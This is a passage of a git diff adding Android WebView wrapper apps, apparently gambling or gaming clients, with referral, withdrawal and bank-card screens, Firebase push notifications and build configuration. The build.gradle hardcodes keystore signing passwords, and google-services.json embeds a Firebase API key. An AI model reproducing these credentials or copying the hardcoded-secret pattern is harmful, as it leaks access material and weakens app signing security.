b/tamanjudi33/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/tamanjudi33/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/tamanjudi33/src/main/res/drawable-hdpi/ic_action_back.png b/tamanjudi33/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/tamanjudi33/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/tamanjudi33/src/main/res/drawable-mdpi/ic_action_back.png b/tamanjudi33/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/tamanjudi33/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/tamanjudi33/src/main/res/drawable-v24/ic_launcher_foreground.xml b/tamanjudi33/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/tamanjudi33/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/tamanjudi33/src/main/res/drawable-xhdpi/ic_action_back.png b/tamanjudi33/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/tamanjudi33/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/tamanjudi33/src/main/res/drawable-xxhdpi/ic_action_back.png b/tamanjudi33/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/tamanjudi33/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/tamanjudi33/src/main/res/drawable/big_bg.xml b/tamanjudi33/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..b82e84f --- /dev/null +++ b/tamanjudi33/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/tamanjudi33/src/main/res/drawable/ic_launcher_background.xml b/tamanjudi33/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/tamanjudi33/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/tamanjudi33/src/main/res/drawable/input_bg.xml b/tamanjudi33/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/tamanjudi33/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/tamanjudi33/src/main/res/drawable/pass_word_bg.xml b/tamanjudi33/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/tamanjudi33/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/tamanjudi33/src/main/res/drawable/pass_word_bg1.xml b/tamanjudi33/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/tamanjudi33/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/tamanjudi33/src/main/res/drawable/pass_word_bg2.xml b/tamanjudi33/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/tamanjudi33/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/tamanjudi33/src/main/res/drawable/shape_btn_bg.xml b/tamanjudi33/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/tamanjudi33/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tamanjudi33/src/main/res/drawable/shape_dialog_bg2.xml b/tamanjudi33/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/tamanjudi33/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/tamanjudi33/src/main/res/drawable/shape_dialog_bg3.xml b/tamanjudi33/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/tamanjudi33/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tamanjudi33/src/main/res/drawable/shape_dialog_bg_new.xml b/tamanjudi33/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/tamanjudi33/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tamanjudi33/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/tamanjudi33/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/tamanjudi33/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tamanjudi33/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/tamanjudi33/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/tamanjudi33/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tamanjudi33/src/main/res/mipmap-hdpi/ic_empty.png b/tamanjudi33/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/tamanjudi33/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/tamanjudi33/src/main/res/mipmap-hdpi/ic_pull_down.png b/tamanjudi33/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/tamanjudi33/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/tamanjudi33/src/main/res/mipmap-xhdpi/ic_close.png b/tamanjudi33/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/tamanjudi33/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/tamanjudi33/src/main/res/mipmap-xhdpi/ic_menu.png b/tamanjudi33/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/tamanjudi33/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/tamanjudi33/src/main/res/mipmap-xxhdpi/app_logo.png b/tamanjudi33/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..60c5d18 Binary files /dev/null and b/tamanjudi33/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/tamanjudi33/src/main/res/values-en/strings.xml b/tamanjudi33/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..7a00b5e --- /dev/null +++ b/tamanjudi33/src/main/res/values-en/strings.xml @@ -0,0 +1,52 @@ + + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/tamanjudi33/src/main/res/values-night/themes.xml b/tamanjudi33/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/tamanjudi33/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tamanjudi33/src/main/res/values/colors.xml b/tamanjudi33/src/main/res/values/colors.xml new file mode 100644 index 0000000..51f38e9 --- /dev/null +++ b/tamanjudi33/src/main/res/values/colors.xml @@ -0,0 +1,19 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #73a300 + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/tamanjudi33/src/main/res/values/strings.xml b/tamanjudi33/src/main/res/values/strings.xml new file mode 100644 index 0000000..589c774 --- /dev/null +++ b/tamanjudi33/src/main/res/values/strings.xml @@ -0,0 +1,54 @@ + + Tamanjudi33 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + \ No newline at end of file diff --git a/tamanjudi33/src/main/res/values/themes.xml b/tamanjudi33/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/tamanjudi33/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tamanjudi33/src/main/res/xml/app_updater_paths.xml b/tamanjudi33/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/tamanjudi33/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/tamanjudi33/src/main/res/xml/network_security_config.xml b/tamanjudi33/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/tamanjudi33/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/tamanjudi33/src/main/res/xml/provider_paths.xml b/tamanjudi33/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/tamanjudi33/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/tamanjudi33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/tamanjudi33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/tamanjudi33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/tealive88/.gitignore b/tealive88/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/tealive88/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/tealive88/build.gradle b/tealive88/build.gradle new file mode 100644 index 0000000..5e31455 --- /dev/null +++ b/tealive88/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.tealive88" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "tealive88" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/tealive88/google-services.json b/tealive88/google-services.json new file mode 100644 index 0000000..b570368 --- /dev/null +++ b/tealive88/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "1050099535376", + "project_id": "tealive88-d769a", + "storage_bucket": "tealive88-d769a.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:1050099535376:android:17cfccaf4969f867ad0495", + "android_client_info": { + "package_name": "com.web.tealive88" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCOkX62sbgnSzwE4BNTPX6w_bxSKvIR8b8" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/tealive88/ppn.jks b/tealive88/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/tealive88/ppn.jks differ diff --git a/tealive88/proguard-rules.pro b/tealive88/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/tealive88/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/tealive88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/tealive88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/tealive88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/tealive88/src/main/AndroidManifest.xml b/tealive88/src/main/AndroidManifest.xml new file mode 100644 index 0000000..60e7330 --- /dev/null +++ b/tealive88/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tealive88/src/main/java/com/web/tealive88/MainActivity.java b/tealive88/src/main/java/com/web/tealive88/MainActivity.java new file mode 100644 index 0000000..daa6e09 --- /dev/null +++ b/tealive88/src/main/java/com/web/tealive88/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.tealive88; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 161; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://tealive88.live/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#520090"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#FFFFFF"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/tealive88/src/main/java/com/web/tealive88/MyFirebaseMessageingService.java b/tealive88/src/main/java/com/web/tealive88/MyFirebaseMessageingService.java new file mode 100644 index 0000000..4305264 --- /dev/null +++ b/tealive88/src/main/java/com/web/tealive88/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.tealive88; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/tealive88/src/main/java/com/web/tealive88/WebApplication.java b/tealive88/src/main/java/com/web/tealive88/WebApplication.java new file mode 100644 index 0000000..ee2d8d6 --- /dev/null +++ b/tealive88/src/main/java/com/web/tealive88/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.tealive88; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/tealive88/src/main/res/drawable-anydpi/ic_action_back.xml b/tealive88/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/tealive88/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/tealive88/src/main/res/drawable-hdpi/ic_action_back.png b/tealive88/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/tealive88/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/tealive88/src/main/res/drawable-mdpi/ic_action_back.png b/tealive88/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/tealive88/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/tealive88/src/main/res/drawable-v24/ic_launcher_foreground.xml b/tealive88/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/tealive88/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/tealive88/src/main/res/drawable-xhdpi/ic_action_back.png b/tealive88/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/tealive88/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/tealive88/src/main/res/drawable-xxhdpi/ic_action_back.png b/tealive88/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/tealive88/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/tealive88/src/main/res/drawable/big_bg.xml b/tealive88/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..c1461de --- /dev/null +++ b/tealive88/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/tealive88/src/main/res/drawable/ic_launcher_background.xml b/tealive88/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/tealive88/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/tealive88/src/main/res/drawable/input_bg.xml b/tealive88/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/tealive88/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/tealive88/src/main/res/drawable/pass_word_bg.xml b/tealive88/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/tealive88/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/tealive88/src/main/res/drawable/pass_word_bg1.xml b/tealive88/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/tealive88/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/tealive88/src/main/res/drawable/pass_word_bg2.xml b/tealive88/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/tealive88/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/tealive88/src/main/res/drawable/shape_btn_bg.xml b/tealive88/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/tealive88/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tealive88/src/main/res/drawable/shape_dialog_bg2.xml b/tealive88/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/tealive88/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/tealive88/src/main/res/drawable/shape_dialog_bg3.xml b/tealive88/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/tealive88/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tealive88/src/main/res/drawable/shape_dialog_bg_new.xml b/tealive88/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/tealive88/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tealive88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/tealive88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/tealive88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 